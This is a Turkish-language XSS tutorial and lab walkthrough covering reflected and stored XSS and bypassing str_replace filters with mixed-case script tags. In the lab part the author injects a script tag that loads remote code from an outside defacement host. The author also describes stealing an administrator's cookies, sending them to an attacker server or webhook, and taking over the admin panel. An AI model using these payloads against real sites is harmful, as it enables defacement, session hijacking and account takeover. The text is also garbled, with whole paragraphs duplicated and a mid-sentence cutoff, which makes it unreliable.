Stored XSS, kullanıcıdan gelen veri kontrol edilmeden bir yere kaydedilip başka kullanıcılarda da kontrol etmeden ekrana basılıyorsa oluşur.
Reflected XSS, kullanıcıdan gelen veri kontrol edilmeden ekrana basılırsa oluşan zaafiyettir.
Örneğin: Sitede arama kutusu var, ekrana "arattığın_kelime için sonuçlar:" diye basıyor hedef site, burada biz arattığımız kelime yerine <script src=xx></script> yazıyoruz mesela.
veya iframe de çıkarabiliriz, bu reflected XSS'e örnektir bununla cookie hırsızlığı yapabilirsin bir kişiyi o linke tıklatabilirsen, Stored XSS Reflected XSS'e göre daha önemlidir çünkü sadece sizin tarafınızda çalışmaz kaydedilir veritabanına ve diğer kullanıcılarda da ekrana basılır.
XSS Bypass
Sitenin yöneticinin normalde bu açığı kapatması için kullanıcıdan gelen veriyi htmlspecialchars() fonksiyonu ile süzmesi gerekir, ama bazı yöneticiler str_replace() de kullanıyor bu gibi durumlarda script yerine ScRiPT veya buna benzer şekilde <script> etiketlerini yazmalıyız. Yani bunun gibi, varsayılan payloadların dışında şeyler denemek gerekir.
Aşağıya koyduğum laboratuvarın çözümü:
Lab:
Reflected XSS, kullanıcıdan gelen veri kontrol edilmeden ekrana basılırsa oluşan zaafiyettir.
Örneğin: Sitede arama kutusu var, ekrana "arattığın_kelime için sonuçlar:" diye basıyor hedef site, burada biz arattığımız kelime yerine <script src=xx></script> yazıyoruz mesela.
veya iframe de çıkarabiliriz, bu reflected XSS'e örnektir bununla cookie hırsızlığı yapabilirsin bir kişiyi o linke tıklatabilirsen, Stored XSS Reflected XSS'e göre daha önemlidir çünkü sadece sizin tarafınızda çalışmaz kaydedilir veritabanına ve diğer kullanıcılarda da ekrana basılır.
XSS Bypass
Sitenin yöneticinin normalde bu açığı kapatması için kullanıcıdan gelen veriyi htmlspecialchars() fonksiyonu ile süzmesi gerekir, ama bazı yöneticiler str_replace() de kullanıyor bu gibi durumlarda script yerine ScRiPT veya buna benzer şekilde <script> etiketlerini yazmalıyız. Yani bunun gibi, varsayılan payloadların dışında şeyler denemek gerekir.
Aşağıya koyduğum laboratuvarın çözümü:
Bu sistemde bir yorum yazma kutusu görüyorum, ben olsam ilk orayı basit <hr> veya <br> gibi basit HTML etiketleriyle kontrol ederdim, eğer çalışırsa script etiketiyle kullanıcıların (Örneğin yöneticinin) cookiesini çalabilirim ve sonrasında cookie sayesinde admin panele giriş yapıp oradan sitede tam erişim elde edebilirim.
Yorum kutusuna ben <script src="//jso.defacer.id/raw/z1s2"></script> yazıyorum kendi deface sayfam, tabii dediğim gibi, cookie alıp saldırganın (sizin
) sunucunuza yollayan veya kendi webhook URLnize atan bir kod da enjekte edebilirsiniz.
Yorum kutusuna ben <script src="//jso.defacer.id/raw/z1s2"></script> yazıyorum kendi deface sayfam, tabii dediğim gibi, cookie alıp saldırganın (sizin
Lab: